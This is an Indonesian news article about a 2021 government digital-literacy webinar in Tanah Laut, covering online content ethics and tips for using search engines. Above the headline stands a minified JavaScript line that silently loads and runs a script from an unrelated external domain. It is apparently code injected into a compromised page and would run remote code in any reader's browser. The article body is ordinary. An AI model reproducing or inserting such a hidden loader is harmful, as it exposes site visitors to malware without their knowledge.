(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Webinar Literasi Digital Tanah Laut: Konten Kreatif di Medsos Banyak, Pilih yang Mendidik

KANALKALIMANTAN.COM, PELAIHARI – Kecakapan digital harus ditingkatkan dalam masyarakat agar mampu menampilkan konten kreatif mendidik yang menyejukkan dan menyerukan perdamaian.

Sebab, tantangan di ruang digital semakin besar, seperti konten-konten negatif, kejahatan penipuan daring, perjudian, eksploitasi seksual pada anak, ujaran kebencian, radikalisme berbasis digital.

Kementerian Komunikasi dan Informatika (Kemenkominfo) RI bekerja sama dengan Siberkreasi menggelar acara webinar literasi digital “Mempersiapkan Diri Hadapi Dunia Digital”, dibuka Bupati Tanah Laut, Sukamta, Kamis (28/7/2021) pagi, dipandu host Rio Brama.

Kegiatan bertujuan untuk mendorong masyarakat menggunakan internet secara cerdas, positif, kreatif, dan produktif sehingga dapat meningkatkan kemampuan kognitifnya untuk mengidentifikasi hoaks, serta mencegah terpapar dampak negatif penggunaan internet.

Salah satu nara sumber, Fifi Alfiana Rosyidah memaparkan, businnes analyst membahas digital ethics “Etika Menghargai Karya atau Konten Orang Lain di Media Sosial”.

Menurut Fifi, perkembangan teknologi informasi sekarang sangat canggih dapat mengaksesnya secara mudah dan beragam konten yang tersebar di internet, seperti membuat konten menjadi semakin beragam.

“Kita sendiri aja sekarang bisa buat konten sendiri gitu, berupa jenis karya atau konten di antaranya foto-foto yang diupload di Instagram,” ucapnya.

Ia menjelaskan desain spotify atau juga video berupa film seperti di YouTube atau tiktok tulisan-tulisan itu juga termasuk konten.

“Apapun yang mereka bagikan dalam kontennya tetap saja ada etika untuk menghargai karya atau konten, rendahnya apresiasi dari masyarakat yang membuat para konten sedikit kecewa,” ungkapnya.

Sementara itu, nara sumber Ahmad Suryani yang membahas digital skills “Jenis-Jenis Mesin Pencarian (Search Engine) dan Tips memilah Informasi dari Mesin Pencarian”.

Google itu adalah salah satu mesin pencarian, mesin pencarian adalah sebuah program komputer yang digunakan untuk membantu pengguna mencari berkas ataupun informasi di internet.

“Nah jadi mesin pencarian itu mengumpulkan informasi website bekas, kemudian disimpan ke dalam sebuah database, kemudian dengan algoritma tertentu akan menampilkan hasil pencarian yang diinginkan pengguna berdasarkan kata kunci yang dihimpun,” jelas Ahmad Suryani

Google ini yang paling banyak digunakan lengkap disini kita bisa mencari berbagai informasi seperti artikel berita maupun jurnal serta video maupun gambar, dari situ Google juga mempunyai kelebihan yaitu hasil pencarian ditampilkan itu sangat cepat dan yang mudah digunakan oleh pengguna.
Ada tips memilih informasi dari mesin pencarian karena mayoritasnya pengguna Google.

“Jadi di sini saya akan membagikan informasi dari mesin pencarian yaitu Google, nah jika kita ingin mencari sesuatu, katakanlah informasi ataupun artikel, kita ingin ada kata kunci yang kita cari itu wajib tampil atau harus tampil kita bisa menggunakannya,” bebernya.

“Jika kita ingin mencari sebuah dokumen secara langsung misalnya pdf kita bisa menggunakan cari berdasarkan ekstensinya saja misalnya seperti PDF dari hasil pencariannya itu akan langsung berupa dokumen PDF, kita cukup klik bisa langsung download selanjutnya jika ingin mencari mencari informasi langsung dari judul artikelnya ataupun judul websitenya kita cukup gunakan kunci title,”. (kanalkalimantan.com/dewi)

Editor : kk